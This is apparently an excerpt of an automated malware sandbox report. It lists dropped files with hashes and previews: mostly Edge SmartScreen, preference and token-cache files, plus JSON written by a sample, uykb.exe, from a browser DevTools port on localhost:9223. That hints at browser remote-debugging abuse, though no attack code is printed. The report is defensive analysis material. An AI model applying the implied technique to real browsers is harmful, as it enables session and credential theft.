Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.0290627280799844
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAcldERWTUXkyY:YWLSGTt1o9LuLgfGBPAzkVj/T8liRWT9
MD5:	BFB87FE7FB6777824D790687145EA355
SHA1:	F6356B0CC512685E71A6A16BD9CC8CDDAE34909A
SHA-256:	A53B07663FEECE01F51B9B289973452CE49390DADB8C09AEE8629274C2BC06F2
SHA-512:	36AA7750F1ADB921403AD72EFCAA5758477FB6F53DC864206A63F9352B1D6C77B237A023C46F3B3364AD817E48262E70E84B8B2361258B0175586972676C44B0
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1738544361290467}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ac9ab13f-7b0e-44a0-aedc-c3ae811da1f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46255
Entropy (8bit):	6.087157962069232
Encrypted:	false
SSDEEP:	768:RwMkbJ6eg6KzhXRLrJ9nGBXi1zNtJGf6UB+ZWyaPF4hn8Vy27TcCio+JDSgzMMdZ:RwMk16zRRvJ99Oy2cFo+tSmd6qE7A
MD5:	0C64AFECAA0F2E218D9CD2DC3AD7C542
SHA1:	85767AD2EE723A9668E512D96541820C03118732
SHA-256:	CE1EC1D97F11F2F7DF107D26FF11E1261989644C7B6140B60628CA4E8B84F0DA
SHA-512:	5870F847E66218BC9BAD40CE7D75A8A19278BC01D2BCEB614EB66394B934C3A7E0873BEFA18A4353AF7CC23337981CF5CA4C80FDA6B63BC5E11372E9D9FDA6F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13382917158039796","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"593c75f1-9bdf-4220-9a97-b882a4addca1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c1401fa3-e42c-4142-8abd-e5063bdba2c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46255
Entropy (8bit):	6.0871559646327835
Encrypted:	false
SSDEEP:	768:RwMkbJ6eg6KzhXRLrJKnGBXi1zNtJGf6UB+ZWyaPF4hn8Vy27TcCio+JDSgzMMdZ:RwMk16zRRvJK9Oy2cFo+tSmd6qE7A
MD5:	B3A46A73686E5DE2D05BA85C173747C6
SHA1:	9FFEB9B4722160A61CFAB49696A46951E6095867
SHA-256:	F45D7FE8039C56CD033F554F27612FAE39DDCA46B08CA0AD01269DD4791968DE
SHA-512:	EDD5C970E0C6F3B588E5B1700AEB365D4A20C97A5A3E0D18BE6361869D50B42A431805B9EB2AD0452FA84B2E8FF2310D230363E487863B93D247C6963DCFA410
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13382917158039796","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"593c75f1-9bdf-4220-9a97-b882a4addca1"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f5df3a1d-5480-455e-82ef-c325c4c38760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8384159690393873
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx7Zxl9Il8u8Y1+7bUouVRtKBGfrrXld1rc:mAtYYMouxCGf/Xu
MD5:	6A4DE9AD4DF92424D55B74822ACE7F51
SHA1:	7DE7E14920D18892E344EB36B79EDAF17B562618
SHA-256:	5695C630D3353D9037D3A2D26FE71ACADB6E703A18F6A2AC8AAC4FE9257A9969
SHA-512:	3091E33FBDFC934D81D5A6310012B218BA1DAE74FD4E26F03E0A068F63487B2069160CE1A777EB93215216A7557AD5E7A118E4710CD7B80A1E8962246C2ECBB3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.O.y.R.i./.R.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.x.S.a.e.Z.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9947356999113284
Encrypted:	false
SSDEEP:	96:XpYK0+qX2VuxaC+iF29vEB1XZvNc0prJUUR+xyj/2:Xp++qX2VuzR+0pdIxyC
MD5:	95267BF1725FC210A284C368563D0FC2
SHA1:	4E33B92D692AF334FB53061B238A074D07D37032
SHA-256:	6AE12FA31B585B3010084253965AFD395C38BC6BA141B416A2C1A17478723261
SHA-512:	6E93BEFAE35FC63D1CF7A39347290D9230B299FAAB1E5B2434C2B72A0816FE976BD0812A0BEEA95C70A84CFA79A2E7BBCA8DD4EC09326D77C49BBA132AE53D6C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.t.D.F.c.e.x.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.x.S.a.e.Z.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.901374082442365
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xCxl9Il8u8Y1J0nALqGq+SPlLaWldauFLBLVjUl3pxD62Tzd/vc:aQYj7sGidtFL763+F
MD5:	C2B193FA2D5F24FCD7CA55FE3B374C15
SHA1:	4CE9D97791E6BB55C942CD5446853D469380C041
SHA-256:	39F6694C70A9383C4455592CB8701BF361719BB9494D833D5C734E86958D602A
SHA-512:	83ACE2843577F8C78FDE2F6742636DCEF33BBD54767A490C726DEC874CDAED0C5CA0EA4576672128DDFE1239BBF8169A9245DC7725D0482F0384D6866B74336A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".u.i.I.I.o.r.2.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.x.S.a.e.Z.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395588112785888
Encrypted:	false
SSDEEP:	96:6NnCqHCxXNnCwbCmNnCk9CDNnCwnudgECw+NnCL/wCLLNnCkDCONnCswCMNnCa3x:6NGNnNyNznuV+NA/xLNjPNlGND
MD5:	37E8E9DDB4ECAC954EC107D6540F6E10
SHA1:	6C556964E29F3CAD7176E0CA167292EB222B6F4E
SHA-256:	64B6F218C5B19FA9FB661DC245BA826D7C530146FFF0D21AEC58B0FE7CB3D03C
SHA-512:	976B30BB8D68AF99C8A288BF1AD704BBAADB91C5DF69040EA2DCF3D27976B6F8A658AD4B1DCE6B35265EC0C0124E0DA29BB355B1D02CC36A56AAA3BDF4DF0EC5
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/67FC118030692B1601B5AB3FAC38E320",.. "id": "67FC118030692B1601B5AB3FAC38E320",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/67FC118030692B1601B5AB3FAC38E320"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/2AC0F89C4AFC77C35F821B64861A1433",.. "id": "2AC0F89C4AFC77C35F821B64861A1433",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/2AC0F89C4AFC77C35F821B64861A1433"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.36956390133326
Encrypted:	false
SSDEEP:	48:SfNaoCFTECJfNaoCC0aCCNfNaoCBCLfNaoCl0UrU0U8CC:6NnCFTEClNnCMCmNnCBCjNnCl0UrU0UI
MD5:	252C5DAACE0315A49E03EE8C2DBC13F5
SHA1:	27320B771D0BFAE6ACABEE1E0B55F9A200802DCA
SHA-256:	A76E008CD85165E1385C0939E9D888454541F1C85B96D3688B7C07454D1CD7BF
SHA-512:	D7615D66E9D420E524C7269A79B5D2C3B432938746CF5578219AD62CBCA85DA9737715290848F8994F5603452EBFE5A8A558B49A63627E5B0A414C9E996C4554
Malicious:	false
